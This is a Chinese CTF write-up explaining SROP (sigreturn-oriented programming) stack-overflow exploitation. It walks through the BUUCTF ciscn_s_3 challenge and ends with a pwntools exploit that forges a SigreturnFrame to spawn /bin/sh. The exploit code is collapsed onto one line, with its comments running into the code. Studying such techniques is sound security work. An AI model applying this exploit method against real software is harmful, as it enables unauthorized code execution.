栈溢出SROP攻击

原创:treebacker合天智汇
原创投稿活动:http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ
高级ROP-SROP利用
在刷题时碰到这个考察点,有点震撼,特意记录下 。
SROP简介

  • SROP也即Sigreturn Oriented Programming 。很显然这种攻击方式与Unix系统调用Sigreturn相关 。它在发生signal的时候会被间接调用 。
  • Signal在unix下的机制(窃图),发生signal时,会在user和kernel直接切换 。系统会为当前进程保存上下文 。完成后会从核心态退出时,会执行sigreturn恢复上下文 。
 
栈溢出SROP攻击

文章插图
 
?
在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态 。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的 。这里以linux为例:
在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用 。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用 。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn:
栈溢出SROP攻击

文章插图
 
?
  • 上面这段内存又称为"Signal Frame" 。
 
SROP Attack原理
  • 问题出现在,内核保存的上下文是在用户态控制的栈上(可以伪造的),而切换为用户态时,并没有检查这段内存是否发生改变 。也就造成了可利用的可能 。
  • 攻击示意图
 
栈溢出SROP攻击

文章插图
 
?
  • 上面的攻击中,需要满足以下几个条件1、 存在栈溢出2、可以泄露栈地址,(即可以知道参数的地址)3、需要syscall的地址4、需要sigreturn的地址 (强制按照frame内存恢复进程状态)相比较传统的ROP攻击,需要的gadgets更少,构造更方便 。
  • 连续攻击
 
栈溢出SROP攻击

文章插图
【栈溢出SROP攻击】 
?
  • 只需要设置栈指针rsp的值为下一个攻击地址,同时rip的地址设置为&(syscall; ret;)即可 。
 
实例
  • BUUCTFciscn_s_3题目
 
  • 漏洞分析
 
栈溢出SROP攻击

文章插图
 
?
  • 这里有两个系统调用,需要在gdb调试,发现就是read和write操作 。且存在栈溢出
  • 一般ROP
  • 泄露libc地址,利用gadgets执行execve或者system或者one_gadget 。
  • 实际操作发现,rdx的值我们无法控制 。execve和system都是行不通的 。但是发现一个有趣的gadget
 
栈溢出SROP攻击

文章插图
 
?
  • 这里,实际提供了一个mov eax, 0; ret;的gadget 。为one_gadget和read的syscall都可以提供基础 。当然,也可以利用eax是作为函数的返回值的这一个特性,利用read特定的字节得到需要的eax 。(注意这里的read也可以是syscall实现的,且上面的mov eax, 0 的gadget可以为我们syscall read提供条件)
  • 可以one_gadget达到get shell的目的 。
  • SROP和攻击 。
 
  • 看到这个题目很少人做出来,猜到应该不是这么简单的操作 。而且程序中明确指出的gadget很奇怪
 
  • 15的系统号是rt_sigreturn,3b的系统调用是execve 。(我都没用到 。。。)
  • 搜索一番,看到一个师傅的骚操作 。
  • 就是我们上面提到的SROP攻击思路,泄露栈地址、并且syscall和rt_sigreturn的gadget都是有的 。
  • 学习一波,记录这种方式的exp(pwntools提供了Sigreturn Frame的构建)
payload = "/bin/sh\x00"payload += '\x00' * 8payload += p64(main)p.send(payload) #write(1, stack_addr, 0x30) #will leak an address on stackp.recv(32)stack_addr = u64(p.recv(8)) - 0x118 #rsiprint "stack_addr ==> " + hex(stack_addr)p.recv(8)#SROP Attackframe = SigreturnFrame()frame.rax = constants.SYS_execveframe.rdi = stack_addr #&'/bin/sh'frame.rsi = 0frame.rdx = 0frame.rsp = stack_addrframe.rip = syscallpayload = 'a'*0x10payload += p64(rt_sigreturn) #强制sigreturn,改变framepayload += p64(syscall)payload += str(frame)p.send(payload)p.interactive()p.close()


推荐阅读